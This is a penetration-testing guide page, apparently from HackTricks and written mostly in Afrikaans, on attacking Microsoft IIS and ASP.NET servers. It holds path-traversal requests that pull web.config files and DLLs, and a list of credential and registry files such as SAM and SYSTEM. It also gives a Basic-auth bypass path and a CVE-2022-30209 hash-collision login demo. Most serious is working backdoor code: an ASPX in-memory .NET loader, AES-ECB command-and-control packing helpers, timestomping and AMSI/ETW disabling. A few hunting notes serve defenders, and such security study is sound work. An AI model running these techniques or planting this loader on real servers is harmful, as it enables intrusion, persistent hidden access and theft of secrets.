IIS - Internet Information Services
Tip
Leer en oefen AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Leer en oefen Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Ondersteun HackTricks
- Kyk na die subskripsie planne!
- Sluit aan by die 💬 Discord groep of die telegram groep of volg ons op Twitter 🐦 @hacktricks_live.
- Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.
Toets uitvoerbare lêeruitbreidings:
- asp
- aspx
- config
- php
Blootlegging van interne IP-adresse
Op enige IIS-server waar jy ’n 302 kry, kan jy probeer om die Host header te verwyder en HTTP/1.0 te gebruik, en in die response kan die Location header jou na die interne IP-adres wys:
nc -v domain.com 80
openssl s_client -connect domain.com:443
Respons wat die interne IP openbaar:
GET / HTTP/1.0
HTTP/1.1 302 Moved Temporarily
Cache-Control: no-cache
Pragma: no-cache
Location: https://192.168.5.237/owa/
Server: Microsoft-IIS/10.0
X-FEServer: NHEXCHANGE2016
Voer .config-lêers uit
Jy kan .config-lêers oplaai en dit gebruik om code uit te voer. Een manier om dit te doen is om die code by die einde van die lêer binne ’n HTML-opmerking te voeg: Download example here
Meer inligting en tegnieke om hierdie kwesbaarheid te benut here
IIS Discovery Bruteforce
Laai die lys wat ek geskep het af:
Dit is geskep deur die inhoud van die volgende lyste saam te smelt:
https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/IIS.fuzz.txt
http://itdrafts.blogspot.com/2013/02/aspnetclient-folder-enumeration-and.html
https://github.com/digination/dirbuster-ng/blob/master/wordlists/vulns/iis.txt
https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/SVNDigger/cat/Language/aspx.txt
https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/SVNDigger/cat/Language/asp.txt
https://raw.githubusercontent.com/xmendez/wfuzz/master/wordlist/vulns/iis.txt
Gebruik dit sonder om enige uitbreiding by te voeg; die lêers wat dit benodig het dit reeds.
Path Traversal
Leaking source code
Kyk na die volledige uiteensetting by: https://blog.mindedsecurity.com/2018/10/from-path-traversal-to-source-code-in.html
Tip
As opsomming, is daar verskeie web.config-lêers binne die vouers van die toepassing met verwysings na “assemblyIdentity” files en “namespaces”. Met hierdie inligting is dit moontlik om te bepaal waar uitvoerbare lêers geleë is en dit af te laai.
Uit die downloaded Dlls is dit ook moontlik om new namespaces te vind waar jy moet probeer toegang kry en die web.config-lêer te bekom om nuwe namespaces en assemblyIdentity te vind.
Ook kan die lêers connectionstrings.config en global.asax interessante inligting bevat.
In .Net MVC applications, speel die web.config-lêer ’n deurslaggewende rol deur elke binêre lêer wat die toepassing benodig aan te dui deur “assemblyIdentity” XML-tags.
Verkenning van Binêre Lêers
’n Voorbeeld van toegang tot die web.config-lêer word hieronder gewys:
GET /download_page?id=..%2f..%2fweb.config HTTP/1.1
Host: example-mvc-application.minded
Hierdie versoek openbaar verskeie instellings en afhanklikhede, soos:
- EntityFramework weergawe
- AppSettings vir webpages, kliëntvalidasie en JavaScript
- System.web konfigurasies vir verifikasie en runtime
- System.webServer instellings vir modules
- Runtime assembly bindings vir verskeie biblioteke soos Microsoft.Owin, Newtonsoft.Json, en System.Web.Mvc
Hierdie instellings dui aan dat sekere lêers, soos /bin/WebGrease.dll, binne die toepassing se /bin-gids geleë is.
Root Directory Lêers
Lêers wat in die wortelgids gevind word, soos /global.asax en /connectionstrings.config (wat sensitiewe wagwoorde bevat), is noodsaaklik vir die toepassing se konfigurasie en werking.
Namespaces en Web.Config
MVC-toepassings definieer ook addisionele web.config-lêers vir spesifieke namespaces om herhalende verklarings in elke lêer te vermy, soos gedemonstreer met ’n versoek om nog ’n web.config af te laai:
GET /download_page?id=..%2f..%2fViews/web.config HTTP/1.1
Host: example-mvc-application.minded
Aflaai van DLLs
Die vermelding van ’n custom namespace dui op ’n DLL met die naam “WebApplication1” wat in die /bin-gids teenwoordig is. Daarop volg ’n versoek om die WebApplication1.dll af te laai:
GET /download_page?id=..%2f..%2fbin/WebApplication1.dll HTTP/1.1
Host: example-mvc-application.minded
Dit dui op die teenwoordigheid van ander noodsaaklike DLLs, soos System.Web.Mvc.dll en System.Web.Optimization.dll, in die /bin gids.
In ’n scenario waar ’n DLL ’n namespace importeer genaamd WebApplication1.Areas.Minded, kan ’n aanvaller moontlik die bestaan van ander web.config-lêers in voorspelbare paaie aflei, soos /area-name/Views/, wat spesifieke konfigurasies en verwysings na ander DLLs in die /bin-lêergids bevat. Byvoorbeeld, ’n versoek na /Minded/Views/web.config kan konfigurasies en namespaces openbaar wat die teenwoordigheid van nog ’n DLL, WebApplication1.AdditionalFeatures.dll, aandui.
Algemene lêers
From here
C:\Apache\conf\httpd.conf
C:\Apache\logs\access.log
C:\Apache\logs\error.log
C:\Apache2\conf\httpd.conf
C:\Apache2\logs\access.log
C:\Apache2\logs\error.log
C:\Apache22\conf\httpd.conf
C:\Apache22\logs\access.log
C:\Apache22\logs\error.log
C:\Apache24\conf\httpd.conf
C:\Apache24\logs\access.log
C:\Apache24\logs\error.log
C:\Documents and Settings\Administrator\NTUser.dat
C:\php\php.ini
C:\php4\php.ini
C:\php5\php.ini
C:\php7\php.ini
C:\Program Files (x86)\Apache Group\Apache\conf\httpd.conf
C:\Program Files (x86)\Apache Group\Apache\logs\access.log
C:\Program Files (x86)\Apache Group\Apache\logs\error.log
C:\Program Files (x86)\Apache Group\Apache2\conf\httpd.conf
C:\Program Files (x86)\Apache Group\Apache2\logs\access.log
C:\Program Files (x86)\Apache Group\Apache2\logs\error.log
c:\Program Files (x86)\php\php.ini"
C:\Program Files\Apache Group\Apache\conf\httpd.conf
C:\Program Files\Apache Group\Apache\conf\logs\access.log
C:\Program Files\Apache Group\Apache\conf\logs\error.log
C:\Program Files\Apache Group\Apache2\conf\httpd.conf
C:\Program Files\Apache Group\Apache2\conf\logs\access.log
C:\Program Files\Apache Group\Apache2\conf\logs\error.log
C:\Program Files\FileZilla Server\FileZilla Server.xml
C:\Program Files\MySQL\my.cnf
C:\Program Files\MySQL\my.ini
C:\Program Files\MySQL\MySQL Server 5.0\my.cnf
C:\Program Files\MySQL\MySQL Server 5.0\my.ini
C:\Program Files\MySQL\MySQL Server 5.1\my.cnf
C:\Program Files\MySQL\MySQL Server 5.1\my.ini
C:\Program Files\MySQL\MySQL Server 5.5\my.cnf
C:\Program Files\MySQL\MySQL Server 5.5\my.ini
C:\Program Files\MySQL\MySQL Server 5.6\my.cnf
C:\Program Files\MySQL\MySQL Server 5.6\my.ini
C:\Program Files\MySQL\MySQL Server 5.7\my.cnf
C:\Program Files\MySQL\MySQL Server 5.7\my.ini
C:\Program Files\php\php.ini
C:\Users\Administrator\NTUser.dat
C:\Windows\debug\NetSetup.LOG
C:\Windows\Panther\Unattend\Unattended.xml
C:\Windows\Panther\Unattended.xml
C:\Windows\php.ini
C:\Windows\repair\SAM
C:\Windows\repair\system
C:\Windows\System32\config\AppEvent.evt
C:\Windows\System32\config\RegBack\SAM
C:\Windows\System32\config\RegBack\system
C:\Windows\System32\config\SAM
C:\Windows\System32\config\SecEvent.evt
C:\Windows\System32\config\SysEvent.evt
C:\Windows\System32\config\SYSTEM
C:\Windows\System32\drivers\etc\hosts
C:\Windows\System32\winevt\Logs\Application.evtx
C:\Windows\System32\winevt\Logs\Security.evtx
C:\Windows\System32\winevt\Logs\System.evtx
C:\Windows\win.ini
C:\xampp\apache\conf\extra\httpd-xampp.conf
C:\xampp\apache\conf\httpd.conf
C:\xampp\apache\logs\access.log
C:\xampp\apache\logs\error.log
C:\xampp\FileZillaFTP\FileZilla Server.xml
C:\xampp\MercuryMail\MERCURY.INI
C:\xampp\mysql\bin\my.ini
C:\xampp\php\php.ini
C:\xampp\security\webdav.htpasswd
C:\xampp\sendmail\sendmail.ini
C:\xampp\tomcat\conf\server.xml
HTTPAPI 2.0 404 Fout
As jy ’n fout soos die volgende sien:
 (1) (2) (2) (3) (3) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (10) (10) (2).png)
Dit beteken dat die bediener nie die korrekte domeinnaam ontvang het nie in die Host-header.
Om toegang tot die webblad te kry, kan jy na die verskafde SSL Certificate kyk en dalk vind jy die domein/subdomein daarin. As dit nie daar is nie, mag jy brute force VHosts moet gebruik totdat jy die korrekte een vind.
Dekripteer versleutelde konfigurasie en ASP.NET Core Data Protection key rings
Twee algemene patrone om geheime op IIS-hosted .NET-toepassings te beskerm, is:
- ASP.NET Protected Configuration (RsaProtectedConfigurationProvider) vir web.config-afdelings soos
. - ASP.NET Core Data Protection key ring (lokaal gestoor) wat gebruik word om toepassingsgeheime en cookies te beskerm.
As jy lêerstelsel- of interaktiewe toegang tot die webbediener het, laat saamgeplaasde sleutels dikwels dekripsie toe.
- ASP.NET (Full Framework) – dekripteer beskermde konfig-afdelings met aspnet_regiis:
# Decrypt a section by app path (site configured in IIS)
%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\aspnet_regiis.exe -pd "connectionStrings" -app "/MyApplication"
# Or specify the physical path (-pef/-pdf write/read to a config file under a dir)
%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\aspnet_regiis.exe -pdf "connectionStrings" "C:\inetpub\wwwroot\MyApplication"
- ASP.NET Core – soek Data Protection key rings wat plaaslik gestoor is (XML/JSON lêers) onder plekke soos:
- %PROGRAMDATA%\Microsoft\ASP.NET\DataProtection-Keys
- HKLM\SOFTWARE\Microsoft\ASP.NET\Core\DataProtection-Keys (registry)
- App-managed folder (e.g., App_Data\keys or a Keys directory next to the app)
Met die key ring beskikbaar, kan ’n operateur wat as die app se identiteit loop ’n IDataProtector instansieer met dieselfde purposes en die gestoor geheime unprotect. Misconfigurasies wat die key ring saam met die app-lêers stoor maak offline dekripsie triviaal sodra die host gekompromitteer is.
IIS fileless backdoors and in-memory .NET loaders (NET-STAR style)
Die Phantom Taurus/NET-STAR toolkit demonstreer ’n volwasse patroon vir fileless IIS persistensie en post‑exploitation wat heeltemal binne w3wp.exe plaasvind. Die kernidees is wyd herbruikbaar vir aangepaste tradecraft en vir detection/hunting.
Key building blocks
- ASPX bootstrapper hosting an embedded payload: ’n enkele .aspx blad (e.g., OutlookEN.aspx) dra ’n Base64‑encoded, optionally Gzip‑compressed .NET DLL. By ’n trigger request decodeer dit, dekomprimeer dit en reflectively laai dit in die huidige AppDomain en roep die hoof entry point aan (e.g., ServerRun.Run()).
- Cookie‑scoped, encrypted C2 with multi‑stage packing: take/resultate word verpakk met Gzip → AES‑ECB/PKCS7 → Base64 en verskuif via skynbaar legitieme cookie‑ryke requests; operators het stabiele delimiters (e.g., “STAR”) vir chunking gebruik.
- Reflective .NET execution: aanvaar arbitrêre managed assemblies as Base64, laai via Assembly.Load(byte[]) en gee operator args deur vir vinnige module swaps sonder om die disk te raak.
- Operating in precompiled ASP.NET sites: voeg by/beheer hulp‑shells/backdoors selfs wanneer die site precompiled is (e.g., dropper adds dynamic pages/handlers or leverages config handlers) – blootgestel deur commando’s soos bypassPrecompiledApp, addshell, listshell, removeshell.
- Timestomping/metadata forgery: bied ’n changeLastModified action en voer timestomp uit tydens deployment (insluitend toekomstige compilation timestamps) om DFIR te bemoeilik.
- Optional AMSI/ETW pre‑disable for loaders: ’n second‑stage loader kan AMSI en ETW uitskakel voordat Assembly.Load geroep word om inspeksie van in‑memory payloads te verminder.
Minimal ASPX loader pattern
<%@ Page Language="C#" %>
<%@ Import Namespace="System" %>
<%@ Import Namespace="System.IO" %>
<%@ Import Namespace="System.IO.Compression" %>
<%@ Import Namespace="System.Reflection" %>
<script runat="server">
protected void Page_Load(object sender, EventArgs e){
// 1) Obtain payload bytes (hard‑coded blob or from request)
string b64 = /* hardcoded or Request["d"] */;
byte[] blob = Convert.FromBase64String(b64);
// optional: decrypt here if AES is used
using(var gz = new GZipStream(new MemoryStream(blob), CompressionMode.Decompress)){
using(var ms = new MemoryStream()){
gz.CopyTo(ms);
var asm = Assembly.Load(ms.ToArray());
// 2) Invoke the managed entry point (e.g., ServerRun.Run)
var t = asm.GetType("ServerRun");
var m = t.GetMethod("Run", BindingFlags.Public|BindingFlags.NonPublic|BindingFlags.Static|BindingFlags.Instance);
object inst = m.IsStatic ? null : Activator.CreateInstance(t);
m.Invoke(inst, new object[]{ HttpContext.Current });
}
}
}
</script>
Inpak/crypto-hulpmiddels (Gzip + AES‑ECB + Base64)
using System.Security.Cryptography;
static byte[] AesEcb(byte[] data, byte[] key, bool encrypt){
using(var aes = Aes.Create()){
aes.Mode = CipherMode.ECB; aes.Padding = PaddingMode.PKCS7; aes.Key = key;
ICryptoTransform t = encrypt ? aes.CreateEncryptor() : aes.CreateDecryptor();
return t.TransformFinalBlock(data, 0, data.Length);
}
}
static string Pack(object obj, byte[] key){
// serialize → gzip → AES‑ECB → Base64
byte[] raw = Serialize(obj); // your TLV/JSON/msgpack
using var ms = new MemoryStream();
using(var gz = new GZipStream(ms, CompressionLevel.Optimal, true)) gz.Write(raw, 0, raw.Length);
byte[] enc = AesEcb(ms.ToArray(), key, true);
return Convert.ToBase64String(enc);
}
static T Unpack<T>(string b64, byte[] key){
byte[] enc = Convert.FromBase64String(b64);
byte[] cmp = AesEcb(enc, key, false);
using var gz = new GZipStream(new MemoryStream(cmp), CompressionMode.Decompress);
using var outMs = new MemoryStream(); gz.CopyTo(outMs);
return Deserialize<T>(outMs.ToArray());
}
Cookie/session vloei en kommando-oppervlak
- Session bootstrap en tasking word via cookies uitgevoer om by normale webaktiwiteit in te meng.
- Opdragte wat in die wild waargeneem is, sluit in: fileExist, listDir, createDir, renameDir, fileRead, deleteFile, createFile, changeLastModified; addshell, bypassPrecompiledApp, listShell, removeShell; executeSQLQuery, ExecuteNonQuery; en dinamiese uitvoering-primitiewe code_self, code_pid, run_code vir in‑memory .NET-uitvoering.
Timestomping hulpmiddel
File.SetCreationTime(path, ts);
File.SetLastWriteTime(path, ts);
File.SetLastAccessTime(path, ts);
Inline AMSI/ETW-uitskakeling voor Assembly.Load (loader variant)
// Patch amsi!AmsiScanBuffer to return E_INVALIDARG
// and ntdll!EtwEventWrite to a stub; then load operator assembly
DisableAmsi();
DisableEtw();
Assembly.Load(payloadBytes).EntryPoint.Invoke(null, new object[]{ new string[]{ /* args */ } });
Sien AMSI/ETW bypass techniques in: windows-hardening/av-bypass.md
Jagnotas (verdedigers)
- Enkele, vreemde ASPX-bladsy met baie lang Base64/Gzip-blobs; cookie‑rige poste.
- Onondersteunde managed modules binne w3wp.exe; strings soos Encrypt/Decrypt (ECB), Compress/Decompress, GetContext, Run.
- Gereelde delimiters soos “STAR” in verkeer; wanpas of selfs toekomstige tydstempels op ASPX/assemblies.
Telerik UI WebResource.axd unsafe reflection (CVE-2025-3600)
Baie ASP.NET apps embed Telerik UI vir ASP.NET AJAX en openbaar die unauthenticated handler Telerik.Web.UI.WebResource.axd. Wanneer die Image Editor cache endpoint bereikbaar is (type=iec), maak die parameters dkey=1 en prtype unsafe reflection moontlik wat enige publieke parameterlose constructor pre‑auth uitvoer. Dit lei tot ’n universele DoS‑primitive en kan eskaleer na pre‑auth RCE op apps met onveilige AppDomain.AssemblyResolve handlers.
See detailed techniques and PoCs here:
Telerik Ui Aspnet Ajax Unsafe Reflection Webresource Axd
Old IIS vulnerabilities worth looking for
Microsoft IIS tilde character “~” Vulnerability/Feature – Short File/Folder Name Disclosure
Jy kan probeer om folders en files binne elke ontdekte gids te enumereer (selfs as dit Basic Authentication vereis) deur hierdie technique te gebruik.
Die hoofbeperking van hierdie technique, as die bediener kwetsbaar is, is dat dit net tot die eerste 6 letters van die naam van elke file/gids en die eerste 3 letters van die ekstensie van die files kan vind.
Jy kan https://github.com/irsdl/IIS-ShortName-Scanner gebruik om hierdie vulnerability te toets:java -jar iis_shortname_scanner.jar 2 20 http://10.13.38.11/dev/dca66d38fd916317687e1390a420c3fc/db/
.png)
Original research: https://soroush.secproject.com/downloadable/microsoft_iis_tilde_character_vulnerability_feature.pdf
Jy kan ook metasploit gebruik: use scanner/http/iis_shortname_scanner
’n Goeie idee om die finale naam van die ontdekte files te vind is om LLMs te vra vir opsies soos dit in die script gedoen word https://github.com/Invicti-Security/brainstorm/blob/main/fuzzer_shortname.py
Basic Authentication bypass
Bypass ’n Basic Authentication (IIS 7.5) deur te probeer toegang tot: /admin:$i30:$INDEX_ALLOCATION/admin.php of /admin::$INDEX_ALLOCATION/admin.php
Jy kan probeer om hierdie vulnerability en die vorige te kombineer om nuwe folders te vind en die authentication te bypass.
ASP.NET Trace.AXD enabled debugging
ASP.NET sluit ’n debugging-mode in en die lêer heet trace.axd.
Dit hou ’n baie gedetaileerde log van alle requests na ’n application oor ’n tydperk.
Hierdie inligting sluit remote client IP’s, session IDs, alle request en response cookies, fisiese paths, bronkode-inligting, en moontlik selfs gebruikersname en wagwoorde in.
https://www.rapid7.com/db/vulnerabilities/spider-asp-dot-net-trace-axd/

ASPXAUTH Cookie
ASPXAUTH gebruik die volgende info:
validationKey(string): hex-geënkodeerde sleutel om vir signature validation te gebruik.decryptionMethod(string): (standaard “AES”).decryptionIV(string): hex-geënkodeerde initialization vector (standaard ’n vector van zeros).decryptionKey(string): hex-geënkodeerde sleutel om vir decryption te gebruik.
Sommige mense gebruik egter die standaardwaardes van hierdie parameters en gebruik as cookie die e‑pos van die gebruiker. Daarom, as jy ’n web kan vind wat dieselfde platform gebruik en die ASPXAUTH cookie gebruik, en jy op die bediener onder aanval ’n gebruiker skep met die e‑pos van die gebruiker wat jy wil impersonate, mag jy die cookie van die tweede bediener in die eerste een kan gebruik en die gebruiker impersonate.
Hierdie aanval het gewerk in hierdie writeup.
IIS Authentication Bypass with cached passwords (CVE-2022-30209)
Full report here: ’n Bug in die kode het nie behoorlik vir die password gecheck wat deur die gebruiker gegee is nie, so ’n attacker wie se password hash ’n sleutel tref wat reeds in die cache is, sal in staat wees om as daardie gebruiker aan te meld.
# script for sanity check
> type test.py
def HashString(password):
j = 0
for c in map(ord, password):
j = c + (101*j)&0xffffffff
return j
assert HashString('test-for-CVE-2022-30209-auth-bypass') == HashString('ZeeiJT')
# before the successful login
> curl -I -su 'orange:ZeeiJT' 'http://<iis>/protected/' | findstr HTTP
HTTP/1.1 401 Unauthorized
# after the successful login
> curl -I -su 'orange:ZeeiJT' 'http://<iis>/protected/' | findstr HTTP
HTTP/1.1 200 OK
Verwysings
- Unit 42 – Phantom Taurus: A New Chinese Nexus APT and the Discovery of the NET-STAR Malware Suite
- AMSI/ETW bypass background (HackTricks)
Tip
Leer en oefen AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Leer en oefen Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Ondersteun HackTricks
- Kyk na die subskripsie planne!
- Sluit aan by die 💬 Discord groep of die telegram groep of volg ons op Twitter 🐦 @hacktricks_live.
- Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.


